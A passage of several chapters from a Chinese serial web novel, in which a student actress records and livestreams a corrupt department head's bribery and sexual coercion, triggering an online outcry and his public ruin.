“撕逼?”温栩栩默了片刻,眉峰微蹙,目光扫过不远处王双双几人扭曲的面容,嘴角勾起一抹自嘲的弧度,简短地回复。 好友的声音陡然拔高,带着几分难以置信:“?都什么时候了你还搞这些!教务处主任这就要把你挂科的信息输入系统上报了!真要等到那时候就麻烦了,你赶快过来啊!” 温栩栩的眉头瞬间拧紧,如墨般的瞳孔深处掠过一丝冷芒。 她迅速挂断电话,指尖在屏幕上轻点,将录音文件稳妥地保存。 转身之际,她的目光如寒冰般扫过王双双几人,那眼神里裹挟着毫不掩饰的嫌弃,仿佛在看几团令人作呕的垃圾。 她红唇轻启,声音如淬毒的利刃,字字刺入对方的心脏:“录音就在我手里,你们几个可要老老实实的,不要再惹我不高兴才对。” 话音落下,她头也不回地转身离去,高跟鞋敲击地面的声音清脆而决绝,每一步都像是踏在王双双几人的尊严之上,连一个多余的眼神都吝啬给予。 王双双恨恨地咬牙,牙齿咬得咯咯作响,仿佛要将满腔的屈辱与愤恨都碾碎在齿间。 她死死地盯着温栩栩远去的背影,指甲深深掐入掌心,留下几道鲜红的月牙痕迹。 温栩栩!这个名字如同毒蛇般在她心头啃噬,恨意如岩浆般在胸腔翻涌,几乎要将她灼穿。 第1187章 让你身败名裂! 她从未受过如此奇耻大辱,被当众威胁、被众人嘲笑,而那个该死的女人,那个孤儿院出身的贱人,竟用她引以为傲的家世和那张狐媚子的脸,将她踩进泥潭! 王双双的呼吸急促而粗重,胸中仿佛有烈焰翻腾,烧得她双目赤红。 她望着温栩栩渐行渐远的背影,那挺拔的身姿在阳光下泛着冷冽的光,仿佛一株带刺的荆棘玫瑰,美丽而危险。 她突然嘶吼出声,声音尖锐而扭曲:“温栩栩,你别得意!就算你有靠山又怎样?教务处主任要是真把你挂科了,看你还怎么嚣张!”她的话语带着破釜沉舟的疯狂,仿佛要将所有怨毒都倾泻而出。 然而,回应她的只有温栩栩头也不回的冷漠背影,以及围观人群中愈发响亮的窃笑。 王双双的恨意愈发浓烈,如墨汁般在眼底蔓延。她死死攥紧拳头,指甲几乎要刺破皮肤,渗出血珠。 她从未如此恨过一个人,恨到几乎要发狂。 她出身优越,向来要风得风,要雨得雨,何曾被人如此羞辱? 温栩栩的出现,彻底打破了她的世界,将她引以为傲的一切踩在脚下。 她咬牙切齿地发誓:“温栩栩,我不会放过你的!就算拼上整个王家,我也要让你身败名裂!”她的话语带着决绝的狠毒,仿佛要将温栩栩拖入万劫不复的深渊。 周围的几个女生早已被吓得面如土色,她们瑟瑟发抖地围拢在王双双身边,声音带着哭腔:“双双,我们怎么办?温栩栩真的会把录音交给警察吗?” 王双双猛地转头,目光如刀子般扫过她们,咬牙切齿道:“怕什么!我们王家还没倒呢!她一个孤儿院出来的贱人,能翻出什么浪?” 然而,她心底的恐慌却如潮水般蔓延。 她知道,温栩栩并非善茬,她背后的权势,她手中的证据,都足以让她们陷入万劫不复。但她绝不允许自己示弱,绝不允许那个贱人践踏她的尊严! 王双双的恨意如毒藤般在她心头蔓延,缠绕,几乎将她吞噬。 她望着温栩栩消失的方向,喉间涌上一股浓烈的腥甜。 她突然抓起手机,拨通了一个号码,声音带着压抑的疯狂:“哥,你帮帮我!温栩栩那个贱人欺人太甚,我要她死!” 等挂断电话。王双双的嘴角勾起一抹狰狞的笑,恨意如毒蛇般在眼底游走。 温栩栩,你以为赢了?好戏才刚刚开始! 她咬牙切齿地想着,仿佛已经看到温栩栩跪地求饶的模样。 …… “主任,温栩栩这一学期每节课都有参与,考试也是全优接近满分,您不能这样算她挂科!”彭脆脆正在教务处主任的办公室里据理力争,试图拖延时间。 教务处主任张岩慢悠悠地推了推鼻梁上那副厚重的黑框眼镜,镜片后的双眼眯成一条缝,嘴角挂着一抹虚伪的笑,“彭同学,你这样让我很为难啊。” “在我这里她可是一节课都没上过,不管她考多少分,只要没上过课的学生统统都要挂科。” “怎么说都没用。”他的声音带着不容置疑的权威,指尖在桌面上轻轻敲击,仿佛在敲打某种无形的算盘。 办公室的门“哗”的一声被猛地推开,温栩栩的身影出现在门口。 这间办公室弥漫着压抑的气息,老旧的木质办公桌泛着陈年污渍,堆积如山的文件杂乱地摞在角落,墙上挂着泛黄的规章制度海报,窗帘半掩,昏黄的灯光在阴影中投下斑驳的光点。 张岩的办公椅上,一个中年男人正挺着圆滚滚的啤酒肚,秃顶的脑袋在灯光下泛着油亮的光,鹰钩鼻下,香肠般的嘴唇微微翕动,绿豆似的眼睛此刻正死死盯着门口那道身影。 温栩栩要有一米六八将近一米七的身高,此刻站在门口,仿佛自带一种迫人的气场。 办公室百叶窗倾泻进来的阳光都像是更偏爱她一般,在她身上渡上一层温柔的金光。 她只站在那里,身姿挺拔如竹,一袭简约的白色衬衫搭配黑色铅笔裙,裙摆下修长的双腿线条流畅,乌黑的长发如瀑般垂落,发梢微微卷翘,更衬得她面容皎如秋月。 她唇角含笑,笑意却不达眼底,那笑容像是淬了冰的利刃,带着刺骨的寒意,仿佛连空气都凝结了几分。 “栩栩你终于来了!”彭脆脆激动的奔过去,温栩栩冲她微微颔首,笑容里带着一丝安抚的意味,随后将目光如寒冰般投向办公桌后的张岩。 张岩的喉结不自觉地滚动了一下,目光在她身上游移,喉间涌上一股莫名的燥热。 这个女孩,每次在校园里走过,都像是一道耀眼的光,吸引着无数目光。 他暗中观察她已久,那精致的五官,那自信的姿态,尤其是那双眼睛,像是能看穿人心底的肮脏。 他本以为,用挂科的由头能将她逼到绝境,让她主动来求自己……可此刻,她站在这里,却像是女王审视蝼蚁般俯视着他。 温栩栩的声音清脆如玉石相击,字字带着锋芒:“背后给我使绊子逼我挂科重读也要告知一下我本人吧,这位收受贿赂不配为人师的马主任,这点道理都不懂?” 她的尾音微微上扬,带着讥诮的弧度,目光如炬,直直刺向张岩。 张岩面色铁青,猛地一拍桌子,震得桌上的文件簌簌作响:“你少在那里胡说八道!” “这学期你没有去上一节专业课,就算你成绩再优秀也不能毕业,我们A大容不下你这样的学生!” 他嘶吼出声,声音因愤怒而变得尖锐,额头青筋暴起,秃顶的脑袋在灯光下更显滑稽。 温栩栩不慌不忙,甚至轻轻拍了拍手,掌声在寂静的办公室里格外清晰,像是嘲讽的鼓点。 她红唇轻启,声音却冷得如冰窖里渗出的水:“主任真厉害,一个人要管我们整个系整个院,难为你还要抽出时间去仔细核对我有没有去上课。” 第1188章 随便一个人都能捏死你 她突然逼近两步,高跟鞋敲击地面的声音像是敲在张岩的心上,她声音却冷得刺骨:“马主任也是因为我长得太漂亮才会多加注意我的?恐怕对我有点什么别的心思。” 开口就是讥嘲,她直起身,目光扫过张岩发青的脸,嘴角勾起一抹轻蔑的笑。 张岩涨红脸被气得呼哧呼哧喘粗气,喉间涌上一股腥甜。 他从未如此被一个学生羞辱过!这个贱人,竟敢当众揭他的短! 他咬牙切齿地嘶吼:“你少在那里血口喷人!证据呢?没有证据你就是污蔑!”温栩栩嗤笑一声,笑声清脆如银铃,却带着刺骨的寒意:“证据?马主任收受贿赂,暗中修改学生档案,将无辜的学生逼入绝境,你以为你做得天衣无缝?” 她突然从包里掏出一支录音笔,在张岩面前晃了晃,录音笔的红色指示灯闪烁着,像是一双嘲讽的眼睛,“马主任,上个月您收下王氏集团送来的‘感谢费’,答应帮王双双修改成绩时,可曾想过会有今天?”她的声音陡然提高,字字如刀,刺入张岩的心脏。 张岩的瞳孔猛地收缩,冷汗瞬间沁满额头。 他颤抖着手指指着温栩栩,声音因恐惧而变得嘶哑:“你……你陷害我!这录音是伪造的!”温栩栩的眉梢微挑,眼底的轻蔑如潮水般涌出:“伪造?马主任可以听听,这声音,可是您亲口说的呢。” 她按下播放键,录音笔里传来张岩油腻的笑声和王氏集团代表谄媚的声音:“张主任,只要您帮我们家双双摆平温栩栩那个麻烦,这二十万就是您的了……”张岩的腿一软,瘫坐在椅子上,如坠冰窖。 温栩栩冷冷地看着他,眼底的嫌弃如寒冰凝结:“马主任如果真的对我抱了什么心思,那就收收你的小心思。” 她突然提高音量:“像你这样头发秃到发际线,绿豆眼鹰钩鼻香肠嘴大腹便便连腰都没有的人……”她突然嗤笑一声,笑声带着浓浓的嘲讽,“多看一眼我都会折寿。”她的话语如利刃般刺向张岩,张岩的脸由青转白,再由白转红,仿佛调色盘般精彩。 马楠生平最讨厌的就是有人拿他的样貌身材说事,此刻气的将桌案上的文件猛地砸到地上,纸张如雪花般四散纷飞。 他那张因愤怒而扭曲的脸涨成猪肝色,额头青筋暴起,秃顶的脑袋在灯光下泛着油亮的光,绿豆般的小眼睛几乎要喷出火来,手指颤抖着指向温栩栩,声音因暴怒而变得嘶哑:“滚!立刻滚出去!” 他喘着粗气,唾沫星子飞溅,“你这科挂定了!等着重修吧!”办公室的空气仿佛被他的怒吼撕扯开来,弥漫着浓烈的火药味。 温栩栩却并未被他的暴怒所震慑,她冷笑一声,双臂环抱于胸前,身姿挺拔如松,目光如寒冰般直视马楠,声音冷冽如刀:“我每天去上课可不是为了去重修的。” 她的语调平静,却带着不容置疑的坚定,仿佛在陈述一个不可撼动的真理。 马楠被她的淡定激得愈发狂躁,他猛地从椅子上跳起来,手指几乎要戳到温栩栩的鼻尖,喉间涌上一股腥甜,嘶吼声震得办公室的窗户嗡嗡作响:“就你这样的,这辈子都毕不了业!”他喘着粗气,胸膛剧烈起伏,仿佛一头被激怒的野兽。 突然,他像是想到了什么,嘴角勾起一抹阴险的弧度,声音陡然压低,带着一种胜券在握的笃定:“你在这里跟我纠缠?好,我就跟你说实话!” 他故意停顿片刻,目光如毒蛇般在温栩栩身上游移,仿佛在欣赏猎物挣扎的模样,“你是每天去上课没有缺勤成绩优秀那又如何?有人要搞你,拿钱砸了学校,让你重读永远不能毕业!” 他嗤笑一声,笑声带着刺骨的寒意,“你拿什么跟她斗?拿你那张脸?” 他绿豆眼眯成一条缝,上下打量着温栩栩,目光贪婪而猥琐,仿佛要将她看穿,“你是有张漂亮脸蛋!可脸能当饭吃吗?你认识资本吗?认识权贵吗?认识那些大人物吗!” 他每问一句,语气便更重一分,最后一句几乎是从牙缝里挤出来的,“你没靠山,说再多也没用。” 马楠骂了这么久,喉咙有些发干,他端起桌上的茶杯,咕咚咕咚灌了几口茶水,这才感觉气息顺了些。 他抹了抹嘴角的水渍,继续开口,声音里带着一种居高临下的嘲讽:“学你们这专业的,不趁着年轻找个人当金主,还想单打独斗?随便一个人都能捏死你。” 他嗤笑一声,目光扫过温栩栩,仿佛在看着一个不自量力的蝼蚁,“你以为那几个没你长得好的同系学生为什么能早早拍了几部剧?真以为是她们演技好?屁,都是背后有人!” 他突然凑近温栩栩,温热的气息喷在她耳边,声音带着蛊惑的意味,“把人哄得高兴了,什么资源都有,你背后没人,你实力再强也没人用!”他说着,目光贪婪地扫过温栩栩的脸蛋和身材,喉结不自觉地滚动了一下。 温栩栩的眉头微微皱起,胃里涌上一股恶心。 她后退半步,与他拉开距离,目光如寒冰般刺向马楠,声音冷得仿佛能凝结空气:“马主任,你身为教务处主任,公然受贿、滥用职权,甚至还妄图用权势胁迫学生,你就不怕遭报应吗?” 她的话语如利刃般刺向马楠的要害,马楠的脸色瞬间变得煞白,冷汗沁满额头。 但他很快便回过神来,脸上浮起一抹狰狞的笑,眼眸里发出贪婪的精光:“要么你找个厉害人物当靠山,我立马让你毕业,要么……” 他故意拉长尾音,目光如黏腻的蛛丝般缠绕在温栩栩身上,“要么你陪我几次,我不仅能让你毕业,还能给你推资源,保证你马上就能进大剧组!《灵媒》剧组算什么啊,我让你当电影女主角呢” 他舔了舔嘴唇,声音里带着压抑的欲望。 第1189章 几个菜,喝成这样 彭脆脆听到这里,再也忍不住,她猛地冲上前,指着马楠的鼻子破口大骂:“你要不要脸!癞蛤蟆想吃天鹅肉!做梦!” 她气得浑身发抖,胸中仿佛有烈焰翻腾,烧得她双目赤红。 马楠却并未生气,他慢悠悠地掀了掀眼皮,目光扫过彭脆脆,嘴角勾起一抹轻蔑的笑,一副势在必得的模样:“小妮子,别着急,等处理完她,再来收拾你。” 他说着,目光又转向温栩栩,声音带着不容置疑的笃定,“温栩栩,你是个聪明人,应该知道怎么选。”他重新倚回椅背,手指悠闲地敲击着桌面,仿佛一切尽在掌握。 温栩栩的眼底掠过一丝冷芒,她突然轻笑出声,笑声清脆如银铃,却带着刺骨的寒意:“马主任,您这么着急,是怕我手里的证据不够多吗?” 她突然从包里掏出一支录音笔,在马楠面前晃了晃,录音笔的红色指示灯闪烁着,像是一双嘲讽的眼睛,“从您刚才承认受贿,到威胁我陪睡,可都被录得清清楚楚呢。” 她的声音陡然提高,字字如刀,刺入马楠的心脏。 马楠的瞳孔猛地收缩,冷汗瞬间浸透了衬衫。 他颤抖着手指指着温栩栩,声音因恐惧而变得嘶哑:“你……你陷害我!这录音是伪造的!”温栩栩嗤笑一声,笑声带着浓浓的嘲讽:“伪造?马主任可以听听,这声音,可是您亲口说的呢。” 她按下播放键,录音笔里传来马楠油腻的笑声:“要么你陪我几次,我不仅能让你毕业,还能给你推资源,保证你马上就能进大剧组!《灵媒》剧组算什么啊,我让你当电影女主角呢”马楠的腿一软,瘫坐在椅子上,如坠冰窖。 这话确实是他才刚说的也没办法伪造冒充的。 彭脆脆见状,忍不住拍手叫好,笑声清脆而响亮:“马主任,这下你可搬起石头砸自己的脚了吧!”她得意地扬起下巴,目光如刀般刺向马楠。 马楠的脸由青转白,再由白转红,仿佛调色盘般精彩。 他死死攥紧拳头,指甲深深掐进掌心,却发不出丝毫声音。 温栩栩冷冷地看着他,眼底的嫌弃如寒冰凝结:“马主任,您以为用权势就能为所欲为?可惜,天网恢恢,疏而不漏。”她突然提高音量,声音如利剑刺穿空气,“像你这样的蛀虫,根本不配为人师!”她的话语如利刃般刺向马楠,。马楠的脸涨得通红,仿佛要滴出血来。 温栩栩的目光扫过办公室的每一个角落,最后落在马楠瘫软的身体上,眼底的冷意如寒潭般深邃。 马楠气到胸口疼,缓了好一会儿才嗤笑:“好好好,行行行,你继续骂,我倒要看看到最后还有谁能帮你谁能捧你!温栩栩,你没有资本没有后台,你迟早就是被人玩腻了丢掉的烂命!” “你不跟我,你迟早会在圈子里面查无此人!” 温栩栩听了这话却倏地笑起来。 她本就长得好看,这么一笑更是了不得,眉眼弯弯像是朵开得正艳的红牡丹,又艳又妖娆。 办公室的百叶窗滤下细碎的光斑,在她白皙的脸庞上跳跃,仿佛连光线都被她的美貌所吸引,为她镀上一层柔金。 她微微歪着头,乌黑的长发如瀑布般垂落,发梢的微卷更添几分慵懒的魅惑。 “主任觉得我长得好看吗。”温栩栩问了这样一句。 马楠喉结不自觉地滚动了一下,目光黏腻地在她身上游移,仿佛被无形的丝线牵引。他贪婪地吞咽着口水,声音带着一丝沙哑:“当然好看。” 温栩栩的笑意更深,红唇轻启,声音带着蛊惑的甜腻:“那主任觉得我身材好吗。”她的尾音微微上扬,像是一根轻羽拂过马楠的心尖。马楠的呼吸急促了几分,啤酒肚随着起伏颤动,绿豆眼迸发出灼热的光芒,喉间挤出干涩的声音:“我见过身材最好的女人。” 他几乎要忍不住伸手去触碰那纤细的腰肢,指尖在空中微微颤抖,仿佛连空气都因欲望而扭曲。 温栩栩唇角笑意更深,话头却是陡然一转,如寒刃出鞘:“所以我身材好长得漂亮,我这么好看的仙女为什么要屈尊降贵配你这蛆虫。” 她的声音陡然转冷,仿佛淬了冰的利刃,直直刺向马楠的心脏。 马楠的笑容僵在脸上,绿豆眼猛地瞪大,血丝迅速爬上眼球,脸颊涨成猪肝色。他从未想过,这个他垂涎已久的女孩,竟会如此羞辱他! “自己长什么样自己心里不清楚还在我这里装高深莫测想潜你祖宗?”温栩栩的嘴角勾起一抹嘲讽的弧度,目光扫过马楠秃顶的油亮脑袋、鹰钩鼻下香肠般的嘴唇,以及那圆滚滚的啤酒肚,眼底的厌恶毫不掩饰。 她嗤笑一声,声音清脆如银铃,却带着刺骨的寒意:“几个菜,喝成这样。” 马楠的脸涨得通红,仿佛要滴出血来。 他颤抖着手指指着温栩栩,声音因愤怒而变得嘶哑:“你!!!”喉间的嘶吼卡在喉咙,像是一头被扼住咽喉的野兽,徒劳地挣扎着。 马楠本以为能等到温栩栩说软话求饶。 他是真抱着想睡温栩栩的心思的,打从温栩栩入学他就看上了温栩栩,奈何温栩栩高岭之花摘不下来。 这次除了这一茬,他当然想占便宜。可哪知道温栩栩是这么个硬茬。 他咬着牙,从牙缝里挤出恶毒的威胁。 “只要有我在,你就别想在毕业!!” “滚!立刻滚!”他的声音在狭小的办公室里回荡,震得桌上的文件簌簌作响,仿佛连空气都在颤抖。 温栩栩却并未被他的威胁所吓倒,她慢悠悠地抱肩斜倚在门框边,身姿慵懒如猫,却又带着一股迫人的气势。 她随意的点了下手机,屏幕亮起,映出她似笑非笑的脸庞。 她像是蛊惑性的笑笑,声音却冷得如冰窖里渗出的水:“大家都听到了吗,我们表演系的马楠主任明知道我没缺课成绩全优却还要因为某些人强行挂我的科让我无法正常拍戏哦。” 第1190章 滚出教育界 她的话语如利刃般刺向马楠,马楠的脸由青转白,再由白转红,仿佛调色盘般精彩。他死死攥紧拳头,指甲深深掐进掌心,却发不出丝毫声音。 “这就是我们表演系的系主任呢。”温栩栩的声音陡然提高,字字如刀,刺入马楠的心脏。 她对着手机继续开口,声音带着一丝委屈的颤抖,仿佛被欺负的柔弱少女:“我真的好可怜呢,没靠山没背景还要被这样秃顶猥琐的老男人欺负。” 她微微垂下眼睑,睫毛轻颤,仿佛在强忍泪水,可嘴角却勾起一抹若有似无的冷笑,仿佛一只戏耍猎物的狐狸。“我现在……只有靠你们了,如果没有你们,我真的撑不下去了……” 她的声音带着蛊惑的意味,仿佛在向无数看不见的观众求救。 马楠的瞳孔猛地收缩,冷汗瞬间浸透了衬衫,他颤抖着手指指着温栩栩。 马楠瞳孔猛震,一个可怕的想法在脑海中涌现出来。 “你在干什么!” 温栩栩说完那些茶茶的话才关掉直播。 她一抬眸,正对上马楠那双带着明显怒意的绿豆眼,此刻那细小的眼珠因惊怒瞪得浑圆,血丝密布如蛛网般蔓延,秃顶的脑袋在灯光下泛着油亮的光,整个人仿佛一只被踩了尾巴的癞蛤蟆,滑稽又狰狞。 温栩栩轻笑出声,声音如银铃般清脆,却裹着刺骨的寒意:“呦,马主任的眼睛原来也是能变大的。” 她微微歪着头,乌黑的发丝如瀑布般垂落,衬得那张脸越发皎洁如玉,眉眼弯弯,仿佛一朵开得正艳的红牡丹,又艳又妖娆,却暗藏锋芒。 “温栩栩!”马楠嘶吼着,声音嘶哑如破风箱,喉间涌上一股腥甜,手指颤抖着指向她,指尖几乎要戳到她的鼻尖。 温栩栩却慢悠悠地后退半步,身姿如柳枝般挺拔,双臂环抱于胸前,目光如寒冰般刺向马楠,嘴角勾起一抹嘲讽的弧度:“这呢这呢。” 她随意地指了指自己的方向,语气慵懒,却带着不容置疑的笃定,“不如马主任现在先打开热搜看看上面有没有关于你的消息?” 马楠心里咯噔一下,双脚一软,仿佛被抽走了所有力气。 他踉跄着扶住桌面,才勉强撑住自己没有被栽到地上。 冷汗如雨般沁满额头,后背的衬衫早已被汗水浸透,黏腻地贴在皮肤上。 他手忙脚乱地在桌上翻找手机,因为太着急,手抖得厉害,手机甩了两三次才终于点开微博网页。 屏幕亮起的那一刻,他的瞳孔猛地收缩,仿佛被雷击般僵在原地。 #帝城A大表演系马主任# #挂科# #没资本和金主就等着挂科??# #帝城教育缺失# 一个个刺眼的话题如利刃般扎进他的眼睛。 马楠手颤巍巍地点开一个话题,页面瞬间被汹涌的评论淹没。 帝城是整个华国的文化之都经济之都,整座城市数不清的名牌学校。 作为帝城乃至整个华国排行第一的院校,向来以严谨治学、培养精英著称。如今却出了这样的丑闻,热搜如野火般迅速蔓延,短短时间内便冲上榜首,引发全网热议。 “@教育观察者V:【震惊!A大表演系主任公然威胁学生,无背景者不陪睡只能挂科?】有学生实名举报,马楠主任利用职权胁迫学生,甚至涉及潜规则。这样的蛀虫何时才能清除?@A大官方 请给公众一个交代!” “@娱圈扒姐V:【独家爆料!A大马主任长期滥用职权,多名学生受害!】据知情人士透露,马楠多次以毕业要挟女学生,甚至暗示‘找金主才能毕业’。艺术院校的净土何在?#A大丑闻#” “@正义路人甲:【看吐了!录音为证,马楠亲口承认受贿!】 这样的败类不配为人师表!A大再不处理,招牌怕是要砸了!” 评论区里,网友的愤怒如海啸般汹涌: “救命,A大不是顶尖学府吗?怎么藏了这么个猥琐男!” “录音听得我火冒三丈!必须严惩!还学生公道!” “支持温栩栩小姐姐!勇敢揭发黑幕!” “其他学校瑟瑟发抖……建议全网排查教育系统蛀虫!” “马楠滚出A大!滚出教育界!” 马楠脑瓜子嗡嗡的,被吓傻了。 他颤抖着滑动屏幕,一条条评论如冰锥般刺入心脏,冷汗浸透的衬衫紧贴后背,黏腻的触感让他愈发窒息。 他从未想过,那个他眼中“高岭之花”的女孩,竟有如此雷霆手段。 热搜的发酵速度远超他的想象,帝城作为文化经济之都,任何一点风吹草动都能掀起滔天巨浪。 A大的金字招牌,此刻正被这些尖锐的评论一点点啃噬。 A大作为帝城乃至整个Z国排行第一的院校,向来以严谨治学、培养精英著称。然而,这起丑闻如一颗重磅炸弹,瞬间撕裂了其光鲜的表皮,将腐朽的暗面暴露在阳光之下。 马楠脑瓜子嗡嗡的,被吓傻了。 他瘫坐在椅子里,望着手机屏幕上不断刷新的热搜话题,指尖颤抖,冷汗如雨。 而此刻,整个网络早已炸开了锅,愤怒的声浪、戏谑的调侃、犀利的质问,如汹涌的潮水般席卷而来。 【吃瓜吃瓜吃瓜】的微博评论区俨然成了网友们的“审判庭”:“没想到啊没想到,有生之年还能吃到A大的瓜?这学院都堕落成这样了?满勤还成绩全优的学生就因为某些资本欺压要挂她的科逼人重修?呵呵,难道是觉得这位同学太漂亮嫉妒了?果然嫉妒使人丑陋!现在这位学生到底能不能顺利毕业还是个未知数,所有人跟我一起燥起来,@A大官方微博,一定要A大给个说法!@A大官方微博,A大你怎么看?” 一条评论迅速被顶上热门,点赞数如火箭般飙升。 网友们的愤怒如同点燃的野火,在社交媒体上蔓延。有人愤怒质问:“A大怎么藏了这么个猥琐男!” 有人痛心疾首:“教育净土被玷污,这样的败类不配为人师表! 第1191章 太刑了您,赶紧进去吧您 有人犀利讽刺:“马楠滚出A大!滚出教育界!” 【兔区八卦】则深挖事件背后的黑幕:“A大作为全国最优院校,表演系系主任却给学生灌输找金主潜规则的思想,用身体做筹码交换资源?到底是道德的沦丧还是人格的扭曲?@A大官方微博。” 这条微博迅速引发共鸣,网友们纷纷在评论区列举近年来高校的种种丑闻,痛斥教育系统的腐败:“高校成了名利场,学术尊严何在?学生安全如何保障?”一条条控诉如利刃般刺向A大,校方的沉默愈发激起了公众的不满。 【高校田里的瓜】则用戏谑的语言将事件推向高潮:“震惊全家!被资本绑架就要逼迫女学生重修复读还想潜规则!A大竟然堕落至此?”博主配图是一张“瓜田”表情包,满地的大西瓜上贴着“潜规则”“挂科”“金主”等标签,滑稽又讽刺。 评论区里,网友们纷纷发挥创意,制作各种梗图和段子:“建议A大改名叫‘爱潜大学’” “马主任:你长得这么好看,不考虑来我办公室‘补课’吗?” 调侃中带着愤怒,讽刺里藏着对教育公平的渴望。 各大八卦号纷纷下场,深扒马楠的过往黑历史。 有人爆料他曾多次暗示学生“找金主才能毕业”,有人翻出他收受学生家长贿赂的蛛丝马迹。 而媒体也不甘示弱,【教育观察者V】发表长文:“【震惊!A大表演系主任公然威胁学生,无背景者无法毕业?】有学生实名举报,马楠利用职权胁迫学生,甚至涉及潜规则。这样的蛀虫何时才能清除?@A大官方 请给公众一个交代!” 文章附上了温栩栩直播的片段和录音证据,铁证如山,让马楠再无狡辩余地。 而其他高校官博的“借势营销”更是将事件推向另一个高潮。 【B大官方微博】迅速发布了一条招生宣传微博:“欢迎大家报考B大,没有潜规则没有资本绑架,不会强行挂科哦~配图是一张校园美景,蓝天白云下,学生们捧着书本欢笑走过。 评论区里,B大学生纷纷“安利”自家学校:“B大真的超温暖!老师都超负责!” “来了B大才知道,原来大学可以这么纯粹!” 【津大官方微博】也不甘示弱,抛出一波“回忆杀”:“我们这里不仅有帅哥美女,更有平等人权哦~不仅如此,还有全国最好吃最便宜的食堂~欢迎报考哦~配图是食堂的招牌美食,香气扑鼻的饭菜照片让网友垂涎欲滴,评论区里一片“流口水”和“求地址”的声音。 这场风波不仅引发了网友的愤怒和调侃,更让公众开始反思教育公平的本质。 社交媒体上,“#教育净土在哪里#”的话题迅速登上热搜榜。 一位网友的发言道出了许多人的心声:“我们愤怒的不是温栩栩一个人的遭遇,而是整个教育体系中的黑暗面。当权力可以凌驾于才华和努力之上,当潜规则成为晋升的捷径,这样的教育还有什么意义?”这条评论获得了数万点赞,引发了广泛的共鸣。 段子手们也纷纷加入战场,用幽默的方式解构这场闹剧。有人创作了“马楠体”:“今天你对我爱答不理,明天我让你挂科挂到哭!” 有人制作了表情包:马楠秃顶的形象配上“挂科警告”的文字,滑稽又讽刺。 甚至有人将事件改编成小品剧本,在网络上传播,引发阵阵笑声。 这些创作在调侃的同时,也让事件的影响力进一步扩大,让更多人关注到教育公平的问题。 媒体的深度报道和专家评论则为这场讨论增添了理性的深度。 【法制日报】发表社论:“高校丑闻频发,折射出教育领域监管的缺失。必须建立更加完善的监督机制,严惩学术腐败,还校园一片净土。” 教育专家在电视访谈节目中直言:“A大事件不是个案,而是整个教育系统需要正视的问题。我们需要重新审视评价体系,确保权力不被滥用,让才华和努力成为学生唯一的通行证。” 随着时间的推移,事件的热度仍在持续。 网友们的追问从未停止。 “温栩栩会不会因为这件事被开除?” “马楠会受到怎样的处罚?” “A大将如何整改?” 而校方在巨大的舆论压力下,终于发布声明:“学校高度重视此事,已成立专项调查组,将严肃处理,绝不姑息。” 然而,这份声明并未能完全平息公众的愤怒。网友们纷纷要求公开调查结果,并呼吁建立长效机制,防止类似事件再次发生。 温栩栩其实本来是没有多少粉丝的。 但扛不住她如今实在是太火了——接了《灵媒》这样备受期待的大制作,还担了女主角的角色,最近又频频登上热搜,更与顶流墨澜搭档出演,引得无数目光聚焦。 尽管她的粉丝中多数是出于对墨澜的喜爱而“友好关注”的,但架不住热度如烈火,她如今也已积累了数十万之众。 趁此热度,她毅然开启了直播,瞬间涌入的观众如潮水般汹涌。 她与墨澜关系尚可,墨澜的粉丝中不乏愿意为她“冲锋陷阵”之人,一方面是因她与墨澜交好,另一方面更是心疼她遭遇之惨。 粉丝们纷纷涌入直播间,赫然听到马楠那一长串骂骂咧咧、无耻至极的话语。刹那间,直播间炸开了锅,怒火如燎原之火,瞬间点燃了整个网络。 “这必须送他上热搜啊!不仅要送他上热搜!还要送他进去!说这种下三路不要脸的话!淦他!” 粉丝们在弹幕中怒吼,字字如刀,句句带刃。键盘在指尖下化作武器,他们撸绣而起,噼里啪啦掀起骂战,不停@A大官方微博,誓要将此事搅个天翻地覆。 “欺负我们姐姐没人罩着呢!”一条条义愤填膺的评论如暴雨倾泻,冲刷着屏幕。 有人痛斥:“垃圾!这世道竟然还有这种垃圾主任?没人举报吗?指不定已经祸害了多少女学生!” 更有人怒极反讽:“可真刑!太刑了您,赶紧进去吧您!” 第1192章 就是要搞死你 网络上的人全都骂作一团,马楠看到这一切心跳都在此刻仿佛骤然停了一瞬。 马楠眼前彻底一黑,仿佛坠入无底深渊。 怎么会这样?这种事怎么会被挖出来! 他浑身冷汗如暴雨倾泻,恨不能此刻真的晕厥过去,将这噩梦般的现实当作一场虚幻。 他蜷缩在椅角,手指颤抖如风中枯枝,指甲深深掐入掌心,试图用疼痛证明这不是幻觉。 但热搜榜上刺眼的标题、评论区汹涌的谩骂,如万千利刃将他钉死在耻辱柱上。 “A大马主任潜规则丑闻” “马姓主任旧案重提” “教育腐蛆现形记” ……每一个词都如滚烫的烙铁,灼穿他的心脏。 “温栩栩……你……你为什么要这么做!”他嘶哑着挤出这句话,声带仿佛被砂纸磨砺过。 温栩栩眼神冰冷如淬毒的匕首,直直刺向他溃败的灵魂。 “如果马主任没有逼迫我重读挂科,没有谈那些资本言论,没有想潜规则对我有非分之想,事情也不会走到这一步。”她的声音如寒玉相击,清脆而凛冽,每一个字都裹着霜刃。 马楠的喉头滚动,喉咙里发出困兽般的呜咽。 他想起那些被他用权力碾碎的年轻女孩,她们颤抖的拒绝、绝望的泪水、最终被碾成尘埃的尊严。 此刻,报应的飓风终于反噬,将他卷进自己亲手挖掘的深渊。 “马主任。”温栩栩忽然笑了,唇角勾起一抹弧度,眼底却凝着万年寒冰,“这是你咎由自取。” 她悠然翻动手机,屏幕上不断刷新的社交媒体界面,一条条控诉如血色藤蔓缠绕而上,曾被马楠骚扰过的同校学姐学妹们纷纷站出来,录音、聊天记录、泪眼照片……证据如雪崩般压垮最后一丝侥幸。 温栩栩越看眼神越冷,仿佛目睹地狱之门在她眼前轰然开启,而门后堆积的,正是马楠这些年种下的恶果。 “你自己没脸,凭什么现在求我给你脸?”她嗤笑一声,声音如碎冰坠地。 马楠的瞳孔骤然收缩,他看到自己最后一丝体面被剥得干干净净,连渣滓都不剩。 他猛然扑倒在地,膝盖砸在冰冷瓷砖上的声响惊得空气一震。“温栩栩,算我求你放过我!”他喉间挤出哀鸣,肥肉横生的脸庞因屈辱扭曲成丑陋的褶皱,“你放过我,我什么都答应你!” 温栩栩双手揣兜,姿态随性却如女王俯瞰蝼蚁。 她缓缓俯身,视线扫过那张坑洼如月球表面的脸,鼻腔发出轻蔑的“啧”声。 “马主任,我就这么一说,你怎么还真的跪呢?”她压低声音轻笑,那笑声仿佛裹着剧毒的蜜糖,甜腻却致命,“我今天来,就是要搞垮你的。你跪不跪,求不求……我都要搞死你。” 温栩栩秉持什么原则? 那是刻入骨髓的生存法则。 你伤我一尺,我便以一剑封喉。 